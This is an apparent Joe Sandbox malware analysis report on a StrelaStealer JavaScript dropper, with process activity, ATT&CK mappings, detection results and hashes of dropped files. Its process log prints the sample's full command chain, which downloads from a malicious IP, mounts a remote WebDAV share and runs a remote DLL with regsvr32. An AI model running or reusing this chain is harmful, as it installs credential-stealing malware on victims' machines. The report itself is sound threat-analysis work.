Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
187637497286212310.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
187637497286212310.js	4%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tD	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s64	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tD	net.exe, 00000006.00000002.1753093135.000002A63821D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2988186181.000001DA59000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/s64	net.exe, 00000006.00000002.1753093135.000002A6381E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1752526974.000001DA58F42000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1753093135.000002A63821D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1753093135.000002A6381E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1752526974.000001DA58F42000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/n	net.exe, 00000006.00000002.1753093135.000002A6381E8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588922
Start date and time:	2025-01-11 07:12:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	187637497286212310.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.107, 2.16.168.105, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 23.219.161.132, 52.149.20.212, 23.47.168.24, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:13:05	API Interceptor	20x Sleep call for process: powershell.exe modified
01:13:09	API Interceptor	1x Sleep call for process: net.exe modified
01:13:09	API Interceptor	2x Sleep call for process: svchost.exe modified
01:13:21	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9839206391373229960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	959032706323392160.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17763111531162825565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073569019979563
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrU:KooCEYhgYEL0In
MD5:	1CA4E62EBD220959FE865BDA282B1E69
SHA1:	2593A50F5F3871595CED704799C82E33829A69D1
SHA-256:	457E26C6941AB47622EB32674E731E2AB53E74953D8F5851D5EA478DDD61D444
SHA-512:	C0B63076FF40C07A3EE5D549E4C69D08DFF063C9E9D4728743A40ACF8D06861B64D9B94E723054BAD742522FD348D48C9A7127AED0D07C6DD9A851D9CF1B43DF
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe70cd0f1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42213793817106887
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
MD5:	E8E32AB797CCE2AA896FA20D0524A1A4
SHA1:	0FBADC1B42716C171FAD217E1601517D8F32F6CA
SHA-256:	5AE9E24EC6E06B32053C624242EC694718AFD853BCB48FF3C3A7408D58096F26
SHA-512:	A79D973E1BDE6D5900CD8EAC9738E25ED2BAD918B0CDC4CBF7BB52E59B57849F6C3A16F8771AD0D92D5B572A53318186DF49827DD44E5C1BB5AD5A83D9BD6B8C
Malicious:	false
Preview:	....... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................&.]L.....}Y..................f.......}9..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07661025767302912
Encrypted:	false
SSDEEP:	3:LUGEYeb+MxuhvCjn13a/4Bll/ollcVO/lnlZMxZNQl:rEzbbxua53q4TlAOewk
MD5:	A2F9CCE5B1C7BCE67F705FD6F6245B1C
SHA1:	015E58CDAFC135B10ECB65EAFF7610F802BFCA30
SHA-256:	63EB9310757857F3ADCFBCA264365C62DB189D24217E9F05E8F521D64DB7F624
SHA-512:	B89F9B7E95A36A6C3ADF632C03D1739F4985C83CA5175CD5B217DC92A3D56BD97EE5656E9542B5E13BD5C2EC6399B462C4519AE7F9A3FF4BBD38C8A5C6F9208A
Malicious:	false
Preview:	.%.......................................;...{.......}9......{A..............{A......{A..........{A].................f.......}9.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.128741341808834
Encrypted:	false
SSDEEP:	6:iOnl6E9+q2Pwkn2nKuAl9OmbnIFUtFQIJZmwrQI9VkwOwkn2nKuAl9OmbjLJ:7nYi+vYfHAahFUtFQa/rQ2V5JfHAaSJ
MD5:	87ED076A14812ADAE137E72B22187BBA
SHA1:	6AE3129392CE4AAD5409CDDE95CB6CE5C03EA9CF
SHA-256:	22639A1719553E1E6E51F06CA43F3B37303023E5C9E6177297C1A883BE01FBD5
SHA-512:	D77A1E4434EF6A9EC1E5845DBC6D96DCE169AD5420B98B3D748998DAE8D0BB7F022F081D4123B98064B989063EA5DB572FA71619D8777F036C752E4C15E7ADBE
Malicious:	false
Preview:	2025/01/11-01:13:08.899 1d2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:13:08.901 1d2c Recovering log #3.2025/01/11-01:13:08.901 1d2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.128741341808834
Encrypted:	false
SSDEEP:	6:iOnl6E9+q2Pwkn2nKuAl9OmbnIFUtFQIJZmwrQI9VkwOwkn2nKuAl9OmbjLJ:7nYi+vYfHAahFUtFQa/rQ2V5JfHAaSJ
MD5:	87ED076A14812ADAE137E72B22187BBA
SHA1:	6AE3129392CE4AAD5409CDDE95CB6CE5C03EA9CF
SHA-256:	22639A1719553E1E6E51F06CA43F3B37303023E5C9E6177297C1A883BE01FBD5
SHA-512:	D77A1E4434EF6A9EC1E5845DBC6D96DCE169AD5420B98B3D748998DAE8D0BB7F022F081D4123B98064B989063EA5DB572FA71619D8777F036C752E4C15E7ADBE
Malicious:	false
Preview:	2025/01/11-01:13:08.899 1d2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:13:08.901 1d2c Recovering log #3.2025/01/11-01:13:08.901 1d2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.16457398910137
Encrypted:	false
SSDEEP:	6:iOnrXAQL+q2Pwkn2nKuAl9Ombzo2jMGIFUtFUPG1ZmwrUgQLVkwOwkn2nKuAl9OU:7nrXAVvYfHAa8uFUtFUPG1/rUgI5JfHA
MD5:	40758AA6C00DDD9C9B4B51875D2F4388
SHA1:	ACF74988AECB4C312D38CF73E168E2BD37DD614B
SHA-256:	87B919D3C477CF730A62A7C884CB26EB45D9D8E52CE5F566BCF1001B713EBA66
SHA-512:	70061C3033EE98EF929D60732CD900F85AFE5E7E9C7F3A3396AE43059B6093E5515BFD440EAEA5CE2C89982709A9CC34E4CBD509A8C6425309FB10B3F9A1E55C
Malicious:	false
Preview:	2025/01/11-01:13:08.939 838 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:13:08.940 838 Recovering log #3.2025/01/11-01:13:08.941 838 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.16457398910137
Encrypted:	false
SSDEEP:	6:iOnrXAQL+q2Pwkn2nKuAl9Ombzo2jMGIFUtFUPG1ZmwrUgQLVkwOwkn2nKuAl9OU:7nrXAVvYfHAa8uFUtFUPG1/rUgI5JfHA
MD5:	40758AA6C00DDD9C9B4B51875D2F4388
SHA1:	ACF74988AECB4C312D38CF73E168E2BD37DD614B
SHA-256:	87B919D3C477CF730A62A7C884CB26EB45D9D8E52CE5F566BCF1001B713EBA66
SHA-512:	70061C3033EE98EF929D60732CD900F85AFE5E7E9C7F3A3396AE43059B6093E5515BFD440EAEA5CE2C89982709A9CC34E4CBD509A8C6425309FB10B3F9A1E55C
Malicious:	false
Preview:	2025/01/11-01:13:08.939 838 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:13:08.940 838 Recovering log #3.2025/01/11-01:13:08.941 838 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\97881aa0-3fae-4af1-9f7d-c8f5b722286e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.958121508582475
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnwEsBdOg2Hsfcaq3QYiubInP7E4T3y:Y2sRdsaEdMH73QYhbG7nby
MD5:	18D623D8525A0BDAE285D80DEDECF03F
SHA1:	89910ED7252AC34E9DE2F7BF44C913F40933D980
SHA-256:	578389CEE1EE5584D03D0596EC02B94280362D55E43430C9D016742D02F67A97
SHA-512:	DC41D9519275EEA384736466F04D6617312D44425629898032B69D42961A1EE87CF6A2153A1CBFC2DEF9DDC69F33C268E43B52CF0266598CF3A89DE3E7D8CD01
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136001532473","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142184},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.958121508582475
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnwEsBdOg2Hsfcaq3QYiubInP7E4T3y:Y2sRdsaEdMH73QYhbG7nby
MD5:	18D623D8525A0BDAE285D80DEDECF03F
SHA1:	89910ED7252AC34E9DE2F7BF44C913F40933D980
SHA-256:	578389CEE1EE5584D03D0596EC02B94280362D55E43430C9D016742D02F67A97
SHA-512:	DC41D9519275EEA384736466F04D6617312D44425629898032B69D42961A1EE87CF6A2153A1CBFC2DEF9DDC69F33C268E43B52CF0266598CF3A89DE3E7D8CD01
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136001532473","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142184},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.258356000453203
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7/Fpeo:etJCV4FiN/jTN/2r8Mta02fEhgO73go3
MD5:	38290E5A8900B883B9248DC869A9BB28
SHA1:	E5A6E3FC34071D240D99443052131ED4F320D381
SHA-256:	64DFCCF9F51A5EF799BE1240D76C5CE97C71057125D956A2F8221CBC3C0A73F4
SHA-512:	3541166F83616C4F4DCD68E23B4652A45EABD32066AD1D7EE7A86C327E7F97E396CEAC6AEB615B8021BE59691FD14DCC40B0EB9AB20CDF350EBE1D4CE6A5650E
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.127569412094086
Encrypted:	false
SSDEEP:	6:iOn8aNAQL+q2Pwkn2nKuAl9OmbzNMxIFUtFG9G1ZmwrGCdtQLVkwOwkn2nKuAl9c:7nVNAVvYfHAa8jFUtFsG1/rzdtI5JfHP
MD5:	15830C8200A372A6DB1EE2AC64696E06
SHA1:	EF79121CB5AC52919C5331B453967A26795E8C58
SHA-256:	DBE2B14870B926BC57BDC9AF2D2A7DD6B6B7606DC6F786F230441B65B0073614
SHA-512:	25299978F1FA18B4F04F696FBD35E553854C99EF966FBBA91818326B2D44F8259D54B30F725B67480F311B6469C594D3FEB604CFB0D36D6560EEB198B08805E8
Malicious:	false
Preview:	2025/01/11-01:13:09.109 838 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:13:09.112 838 Recovering log #3.2025/01/11-01:13:09.113 838 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.127569412094086
Encrypted:	false
SSDEEP:	6:iOn8aNAQL+q2Pwkn2nKuAl9OmbzNMxIFUtFG9G1ZmwrGCdtQLVkwOwkn2nKuAl9c:7nVNAVvYfHAa8jFUtFsG1/rzdtI5JfHP
MD5:	15830C8200A372A6DB1EE2AC64696E06
SHA1:	EF79121CB5AC52919C5331B453967A26795E8C58
SHA-256:	DBE2B14870B926BC57BDC9AF2D2A7DD6B6B7606DC6F786F230441B65B0073614
SHA-512:	25299978F1FA18B4F04F696FBD35E553854C99EF966FBBA91818326B2D44F8259D54B30F725B67480F311B6469C594D3FEB604CFB0D36D6560EEB198B08805E8
Malicious:	false
Preview:	2025/01/11-01:13:09.109 838 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:13:09.112 838 Recovering log #3.2025/01/11-01:13:09.113 838 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444679890491188
Encrypted:	false
SSDEEP:	384:CeFci5tIiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:hvs3OazzU89UTTgUL
MD5:	71F07863A25A8ACDB8D86343BE87AF45
SHA1:	A5F4450252D09E632EA1C6DE48438978E1D12B6A
SHA-256:	7CCCD124CBF00AEAAEFE5F7F1C70873784CD269E33448D29D80A1049504C5888
SHA-512:	F5429D92FBFD569CF8CA87DFA5060B8DBF92307075602CD0C2C99F4DC2DC1EC21320C5503EE554AE264EE50AC113FABA1F51799A9324F948BE53EBB73FEA9A89
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2132902703417647
Encrypted:	false
SSDEEP:	24:7+tjmnuwKD8qL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9d:7MSnCYq/mFTIF3XmHjBoGGR+jMz+Lh7
MD5:	299E20F13EE29117957030DE838B7A58
SHA1:	B4DE25CE2606A6C227D43E764BAB3057BBB1329C
SHA-256:	A53914A676B0175BF5D2CAC5C551FC1EF2DBB265876D59B248E08F400DAF3C63
SHA-512:	D19027EC95C4CFF9A6D5C737994916EE4FDA35ACD716870810005EC484B69631CDCE4E797B0DF74D0C6A83BDF99921D1047592E67ADE6E700F6DE9276BF05C57
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
